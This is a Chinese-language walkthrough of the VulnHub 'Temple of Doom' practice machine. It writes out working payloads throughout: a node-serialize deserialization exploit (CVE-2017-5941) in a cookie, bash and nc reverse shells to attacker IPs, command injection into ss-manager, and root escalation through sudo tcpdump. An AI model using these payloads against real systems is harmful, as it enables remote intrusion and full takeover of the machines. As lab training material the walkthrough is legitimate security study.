靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
开机界面就是这
确定 靶机的ip地址:192.168.0.114
靶机开放了22端口666端口
22端口 是ssh服务 没账号密码 是进不去的 先放着
666端口 有http服务,有Node.js 去康康呗
直接访问
正在施工,稍后再来!
直接爆破一下 试试
nikto 和dirb …
没啥有用的信息
这里 666端口 开放了Node.js
进行抓包
看到了cookie的值是一个base64编码
进行解码
{
"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D
感觉这个json的格式不完善
修改后
{
"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
重新编码 进行提交
活得一个页面重新 扫了扫 依然没结果
这里有一个知识点 Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
具体 可以看这里
{
"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
- child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
- child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。
进行base64编码 重新提交cookie
获得用户名 nodeadmin
直接使用bash获得反弹shell
{
"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.0.110/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
开启监听端口 成功拿到低权限的shell
下面就要进行提权了
测试了几个 提权的脚本 都不行 我淦
在/home
目录发现 fireman
看看怎么 越权拿到权限
查看fireman用户的具体信息
发现此用户启动了ss-manager进程
ss-manager是一款由ss团队开发的多用户管理面板程序
找到ss-manager命令执行漏洞 具体可以参考这里
ss-manager容易受到远程代码执行的影响
ss-manager是Shadowsocks的缩写
Shadowsocks-libev是用于嵌入式的服务和安全SOCKS5作为代理,ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器…就是能创建新服务去利用…
看一下 靶机 有没有 开8839端口
netstat -a | grep 8839
ok 可以看到是开启的
直接nc 连接呗
nc -u 127.0.0.1 8839
-u 是UDP模式
配置JSON,执行命令,在tmp创建evil文件
add: {
"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
查看一下 创建成功
使用bash,获得反弹shell
add: {
"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/192.168.0.110/6666 0>&1|"}
成功拿到fireman用户
在root目录下 但是没有权限
进行sudo提权
存在tcpdump,可以用于远程代码执行 具体可以参考这里
具体命令 就是这样了
echo "nc -e /bin/bash 192.168.56.3 7777 "> shell.sh
chmod +x shell.sh
nc -lvp 7777 (kali中开启监听)
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
-i : 指定监听的网络接口
-w : 直接将包写入文件中,并不分析和打印出来
-W :与-C选项一起使用时,这会将创建的文件数量限制为指定的数字,并从头开始覆盖文件,从而创建“旋转”缓冲区。另外,它将命名带有足够前导0的文件以支持最大数量的文件,使它们能够正确排序。与-G选项一起使用时,这将限制创建的旋转转储文件的数量,在达到限制时以状态0退出。如果与-C一起使用,则行为将导致每个时间片的循环文件。
-G:如果指定,则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称,该名称 应包含由strftime(3)定义的时间格式。如果没有指定时间格式,则每个新文件都将覆盖前一个。如果与-C选项一起使用,则文件名将采用“ file <count>”的形式。
-z : 与-C或-G选项一起使用,这将使tcpdump运行“ 命令文件 ”,其中文件是每次旋转后关闭的保存文件。例如,指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
请注意,tcpdump将与捕获并行地运行命令,使用最低优先级,这样不会干扰捕获过程。
如果你想使用一个本身带有标志或不同参数的命令,你总是可以编写一个shell脚本,将savefile的名字作为唯一的参数,使标志和参数安排并执行你想要的命令。
-Z : 删除权限(如果是root)并将用户标识更改为用户,将组标识更改为主要用户组。这种行为默认是启用的(-Z tcpdump),可以通过-Z root来禁用。
将nc反弹shell写入sh文件,赋执行权限,通过tcpdump执行反弹shell,获得root权限
成功拿到root权限了
ok 这台靶机就到这里了